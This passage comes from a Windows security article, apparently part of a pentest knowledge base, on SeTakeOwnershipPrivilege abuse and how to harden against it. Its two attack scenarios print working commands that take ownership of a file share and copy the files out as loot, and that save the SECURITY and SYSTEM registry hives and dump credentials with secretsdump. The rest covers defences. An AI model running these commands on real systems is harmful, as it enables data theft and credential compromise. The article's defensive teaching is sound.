$acl = Get-Acl $path
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
"Everyone",
"TakeOwnership,ChangePermissions",
"ContainerInherit,ObjectInherit",
"None",
"Success,Failure"
)
$acl.SetAuditRule($auditRule)
Set-Acl -Path $path -AclObject $acl
}Protect Sensitive Files with Explicit Deny ACLs:
# Add explicit DENY for ownership changes
$file = "C:\Sensitive\database.config"
$acl = Get-Acl $file
$denyRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
"BUILTIN\Users",
"TakeOwnership,ChangePermissions",
"Deny"
)
$acl.SetAccessRule($denyRule)
Set-Acl -Path $file -AclObject $aclDeny ACLs Limitation
Explicit DENY ACLs can help but will not prevent users with SeTakeOwnershipPrivilege from taking ownership. They provide defense-in-depth against permission escalation attempts without the privilege.
Service Account Hardening
Managed Service Accounts (MSA/gMSA):
# Create Group Managed Service Account (gMSA)
New-ADServiceAccount -Name BackupSvc -DNSHostName backupsvc.corp.local -PrincipalsAllowedToRetrieveManagedPassword "BackupServers"
# Install on target system
Install-ADServiceAccount -Identity BackupSvc
# Configure service to use gMSA
$service = Get-WmiObject -Class Win32_Service -Filter "Name='BackupService'"
$service.Change($null,$null,$null,$null,$null,$null,"CORP\BackupSvc$",$null)Benefits:
- Automatic password management
- No user-managed credentials
- Auditable through AD
- Can restrict privilege assignment more granularly
Advanced: Privileged Access Workstations (PAWs)
For high-security environments:
-
Segregate Administrative Access
- Separate workstations for administrative tasks
- No email, browsing, or general productivity on PAWs
- Strict application whitelisting
-
Implement Credential Tiering
- Tier 0: Domain controllers and enterprise admins
- Tier 1: Servers and service accounts
- Tier 2: Workstations and standard users
- Prevent credential use across tiers
-
Enable Enhanced Security
- Credential Guard
- Device Guard / WDAC
- HVCI (Hypervisor-protected Code Integrity)
- BitLocker with TPM
Real-World Attack Scenarios
Scenario 1: File Share Compromise
Initial Access
Penetration tester gains access to file server through compromised service account credentials
Discovery
Enumerates file shares and discovers restricted "Legal" directory with sensitive contract documents
Privilege Enumeration
Checks privileges and finds SeTakeOwnershipPrivilege assigned to backup service account
Exploitation
# Enable privilege
. .\EnableAllTokenPrivs.ps1
# Take ownership of target directory
takeown /f "\\fileserver\Legal\Contracts" /r /d y
# Grant access
icacls "\\fileserver\Legal\Contracts" /grant CORP\backupsvc:F /t
# Exfiltrate data
robocopy "\\fileserver\Legal\Contracts" "C:\Temp\loot" /E /ZImpact
Complete compromise of confidential legal contracts, merger documents, and attorney-client privileged communications
Lessons Learned:
- Service accounts should not have SeTakeOwnershipPrivilege
- Implement file access monitoring and DLP solutions
- Use file classification and rights management
- Monitor for unusual file access patterns
Scenario 2: Registry-Based Credential Theft
Access Obtained
Attacker compromises developer workstation with administrative access and SeTakeOwnershipPrivilege
Target Identification
Identifies LSA Secrets registry hive contains service account credentials
Registry Exploitation
# Take ownership of LSA Secrets
Set-RegistryKeyOwner -RegistryPath "HKLM\SECURITY\Policy\Secrets"
# Export secrets
reg save HKLM\SECURITY C:\Temp\SECURITY
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# Extract credentials using impacket
secretsdump.py -security SECURITY -system SYSTEM LOCALLateral Movement
Uses extracted service account credentials to move laterally to production servers
Lessons Learned:
- Developer workstations should not have sensitive privileges
- Implement LSA Protection (RunAsPPL)
- Use Credential Guard to isolate secrets
- Monitor registry access to sensitive hives
References
MITRE ATT&CK Techniques
- T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification - Primary ownership/permission modification
- T1222 - File and Directory Permissions Modification - Parent technique
- T1003.002 - OS Credential Dumping: Security Account Manager - SAM access via ownership takeover
- T1003.003 - OS Credential Dumping: NTDS - AD database access
- T1134 - Access Token Manipulation - Token-based privilege abuse
- T1574.010 - Hijack Execution Flow: Services File Permissions Weakness - Service binary replacement via ownership
Common Weakness Enumeration
- CWE-269 - Improper Privilege Management - Excessive privilege assignment
- CWE-732 - Incorrect Permission Assignment for Critical Resource - ACL modification risks
- CWE-284 - Improper Access Control - Ownership-based access bypass
Microsoft Documentation
- Microsoft: Take Ownership of Files User Right - Official privilege documentation
- Microsoft: Windows Security Descriptors - Ownership and ACL reference
Tools Documentation
- Takeown.exe - Native Windows ownership utility
- Icacls.exe - ACL management tool
- Impacket - secretsdump.py - Credential extraction after access
Conclusion
SeTakeOwnershipPrivilege represents a significant security risk when granted to non-administrative accounts or misunderstood by security teams. While designed to enable granular access control without full administrative rights, the privilege effectively provides the ability to access any securable object on a Windows system.
Key Takeaways
- Understand the Scope: SeTakeOwnershipPrivilege grants access to files, registry, services, and processes
- Minimize Assignment: Only grant to accounts with legitimate, documented business need
- Implement Monitoring: Track ownership changes and correlate with file access and network activity
- Layer Defenses: Combine policy controls, technical protections, and behavioral analytics
- Incident Response: Have playbooks for responding to suspicious ownership changes
Defense Checklist
- Audit all accounts with SeTakeOwnershipPrivilege
- Remove unnecessary privilege assignments
- Implement Just-In-Time access for legitimate use cases
- Configure auditing for Event IDs 4656, 4670, and 4672
- Deploy File Integrity Monitoring on sensitive directories
- Enable Credential Guard and LSA Protection
- Monitor for takeown.exe and icacls.exe usage patterns
- Create behavioral baselines for file and registry access
- Implement DLP to detect sensitive file exfiltration
- Regularly review and test detection capabilities
By treating SeTakeOwnershipPrivilege with the same rigor as administrative access and implementing comprehensive monitoring and controls, organizations can significantly reduce the risk of this privilege being exploited for unauthorized data access or privilege escalation.
Last updated on
Windows Service Binary Hijacking for Privilege Escalation
Exploiting weak Windows service binary permissions for privilege escalation, including detection methods, exploitation techniques, and hardening strategies.
Windows Privilege Escalation via Unquoted Service Path
Unquoted service path exploitation in Windows for privilege escalation, covering detection, exploitation techniques, and mitigation strategies.